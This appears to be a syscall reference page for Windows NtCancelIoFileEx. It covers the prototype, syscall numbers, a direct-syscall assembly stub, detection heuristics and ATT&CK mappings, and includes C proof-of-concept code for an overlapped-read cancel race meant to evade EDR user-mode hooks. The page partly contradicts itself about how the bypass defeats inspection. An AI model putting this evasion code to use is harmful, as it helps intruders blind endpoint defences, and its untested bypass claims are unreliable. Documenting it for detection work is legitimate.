NtCancelIoFileEx

Prototype

NTSTATUS NtCancelIoFileEx(
  HANDLE           FileHandle,
  PIO_STATUS_BLOCK IoRequestToCancel,
  PIO_STATUS_BLOCK IoStatusBlock
);

Arguments

Syscall IDs by Windows version

Syscall stub

4C 8B D1            mov r10, rcx
B8 94 00 00 00      mov eax, 0x94
F6 04 25 08 03 FE 7F 01   test byte ptr [0x7FFE0308], 1
75 03               jne short +3
0F 05               syscall
C3                  ret
CD 2E               int 2Eh
C3                  ret

Undocumented notes

Introduced in Vista to fix the single-thread scope limitation of NtCancelIoFile. With `IoRequestToCancel == NULL` it behaves like CancelIo but cross-thread; with a non-NULL IO_STATUS_BLOCK pointer, the kernel walks the file's IRP list, matches the IRP whose `UserIosb` equals the supplied pointer, and cancels exactly that one. The Win32 thunk `CancelIoEx` exposes the same two modes. The SSN moves only modestly: `0x90` on Win10 1803–1909, `0x92` on 2004–23H2, `0x94` on Win11 24H2 / Server 2025.

Common malware usage

The richer of the cancel triplet, and the one that is genuinely useful for **EDR hook bypass / race-cancel** patterns. The textbook attack: an EDR's user-mode `NtReadFile` hook performs synchronous content inspection before forwarding the call. By dispatching the read overlapped (`FILE_FLAG_OVERLAPPED`) and immediately calling `NtCancelIoFileEx` against the *specific* IO_STATUS_BLOCK from another helper thread, the read is yanked before the EDR's completion routine fires — leaving the EDR with `STATUS_CANCELLED` and no data to inspect. Real-world implants also use it for clean teardown of multi-threaded pipe / socket workers in C2 channels, and as a watchdog to abort hung `DeviceIoControl` calls against unresponsive minifilter drivers.

Detection opportunities

Higher signal than NtCancelIoFile because the *targeted* form is far less common in benign software. Hooks on user-mode `CancelIoEx` plus ETW `Microsoft-Windows-Kernel-File` and the WPP IRP traces can correlate a sub-millisecond issue-then-cancel pattern on the same handle. A reliable heuristic: a thread that calls NtCancelIoFileEx with a non-NULL `IoRequestToCancel` pointing to an IO_STATUS_BLOCK *whose paired NtReadFile / NtWriteFile / NtDeviceIoControlFile completed in another thread less than a millisecond earlier*, while the file object is one of the EDR-protected handles (mfeavfk, csagent, MsSecFlt, etc.). EDRs that move inspection to a kernel minifilter (Defender's WdFilter, CrowdStrike's CSAgent) are immune to this race because their hook runs *before* the IRP completes back to user mode.

Direct syscall examples

; Direct syscall stub for NtCancelIoFileEx
NtCancelIoFileEx PROC
    mov  r10, rcx          ; syscall convention
    mov  eax, 94h          ; SSN (Win11 24H2 / Server 2025)
    syscall
    ret
NtCancelIoFileEx ENDP

// PoC: issue an overlapped read, then yank the IRP from a helper thread
// targeting the specific IO_STATUS_BLOCK before any synchronous EDR
// completion inspection can fire.
#include <windows.h>

typedef struct _IO_STATUS_BLOCK {
    union { NTSTATUS Status; PVOID Pointer; };
    ULONG_PTR Information;
} IO_STATUS_BLOCK, *PIO_STATUS_BLOCK;

typedef NTSTATUS (NTAPI *pNtCancelIoFileEx)(HANDLE, PIO_STATUS_BLOCK, PIO_STATUS_BLOCK);

typedef struct { HANDLE h; PIO_STATUS_BLOCK iosb; } cancel_ctx;

static DWORD WINAPI Yanker(LPVOID p) {
    cancel_ctx *c = (cancel_ctx*)p;
    pNtCancelIoFileEx NtCancelIoFileEx = (pNtCancelIoFileEx)GetProcAddress(
        GetModuleHandleA("ntdll.dll"), "NtCancelIoFileEx");
    IO_STATUS_BLOCK out = {0};
    return NtCancelIoFileEx(c->h, c->iosb, &out);
}

NTSTATUS RaceCancelRead(HANDLE h, PVOID buf, ULONG len) {
    OVERLAPPED ov = {0};
    DWORD got = 0;
    ReadFile(h, buf, len, &got, &ov);                  // hooked path
    cancel_ctx c = { h, (PIO_STATUS_BLOCK)&ov };       // OVERLAPPED layout == IO_STATUS_BLOCK
    HANDLE t = CreateThread(NULL, 0, Yanker, &c, 0, NULL);
    WaitForSingleObject(t, INFINITE);
    CloseHandle(t);
    return 0;
}

// Tear down every outstanding IRP on a handle from any thread.
use windows_sys::Win32::Foundation::HANDLE;
use windows_sys::Win32::System::IO::CancelIoEx;

pub unsafe fn cancel_all(h: HANDLE) -> bool {
    // CancelIoEx(h, NULL) — under the hood NtCancelIoFileEx with NULL IRP.
    CancelIoEx(h, std::ptr::null_mut()) != 0
}

MITRE ATT&CK mappings

• T1562.001Impair Defenses: Disable or Modify Toolsmitre ↗
• T1106Native APImitre ↗